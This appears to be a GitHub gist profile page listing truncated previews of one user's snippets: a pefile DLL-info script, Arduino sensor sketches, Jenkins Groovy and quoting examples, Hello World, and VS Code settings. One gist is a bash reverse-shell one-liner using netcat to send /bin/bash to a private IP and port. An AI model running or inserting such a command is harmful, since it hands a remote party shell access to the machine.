Skip to content

Instantly share code, notes, and snippets.

View rmkanda's full-sized avatar
🏠
Working from home

Ramakrishnan Kandasamy rmkanda

🏠
Working from home
View GitHub Profile
@rmkanda
rmkanda / dll-file-info.py
Created June 6, 2024 10:13
DLL File info - pefile
import pefile
import os
def print_version_info(pe):
for fileinfo in pe.FileInfo[0]:
if fileinfo.Key.decode() == 'StringFileInfo':
for st in fileinfo.StringTable:
for entry in st.entries.items():
print(f"{entry[0].decode()}: {entry[1].decode()}")
#include <Adafruit_MPU6050.h>
#include <Adafruit_SSD1306.h>
#include <Adafruit_Sensor.h>
#include <Wire.h>
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET 4
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
#include <Arduino.h>
#include <Wire.h>
#define ONBOARD_LED 16
#define LDR_PIN 2
void setup()
{
pinMode(ONBOARD_LED, OUTPUT);
pinMode(LDR_PIN, INPUT);
def getChangeLogSize() {
def allChangeSets = currentBuild.changeSets
if (allChangeSets && !allChangeSets.size()>0)
{
if (allChangeSets[0].items && allChangeSets[0].items.size()>0)
{
return allChangeSets[0].items.size()
}
}
return 0
def changeLogSets = currentBuild.changeSets
for (int i = 0; i < changeLogSets.size(); i++) {
println changeLogSets[i].kind
def entries = changeLogSets[i].items
for (int j = 0; j < entries.length; j++) {
def entry = entries[j]
echo "${entry.commitId} by ${entry.author} on ${new Date(entry.timestamp)}: ${entry.msg}"
}
}
@rmkanda
rmkanda / Jenkinsfile.groovy
Created August 30, 2021 05:33 — forked from Faheetah/Jenkinsfile.groovy
Jenkinsfile idiosynchrasies with escaping and quotes
node {
echo 'Results included as an inline comment exactly how they are returned as of Jenkins 2.121, with $BUILD_NUMBER = 1'
echo 'No quotes, pipeline command in single quotes'
sh 'echo $BUILD_NUMBER' // 1
echo 'Double quotes are silently dropped'
sh 'echo "$BUILD_NUMBER"' // 1
echo 'Even escaped with a single backslash they are dropped'
sh 'echo \"$BUILD_NUMBER\"' // 1
echo 'Using two backslashes, the quotes are preserved'
sh 'echo \\"$BUILD_NUMBER\\"' // "1"
## Option #1 - List
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins()
plugins.each {println "${it.getShortName()}: ${it.getVersion()}"}
## Option #2 - Graph
def plugins = jenkins.model.Jenkins.instance.getPluginManager().getPlugins()
println "digraph test {"
plugins.each {
def plugin = it.getShortName()
println "\"${plugin}\";"
class HelloWorld {
public static void main( String []args ) {
System.out.println( "Hello World!" );
}
}
#!/bin/bash
nc -e /bin/bash 192.168.0.101 3131
{
"window.zoomLevel": 2,
"javascript.updateImportsOnFileMove.enabled": "always",
"editor.formatOnSave": true,
"files.autoSave": "afterDelay",
"files.autoSaveDelay": 500,
"editor.fontSize": 17,
"editor.rulers": [
{
"column": 80,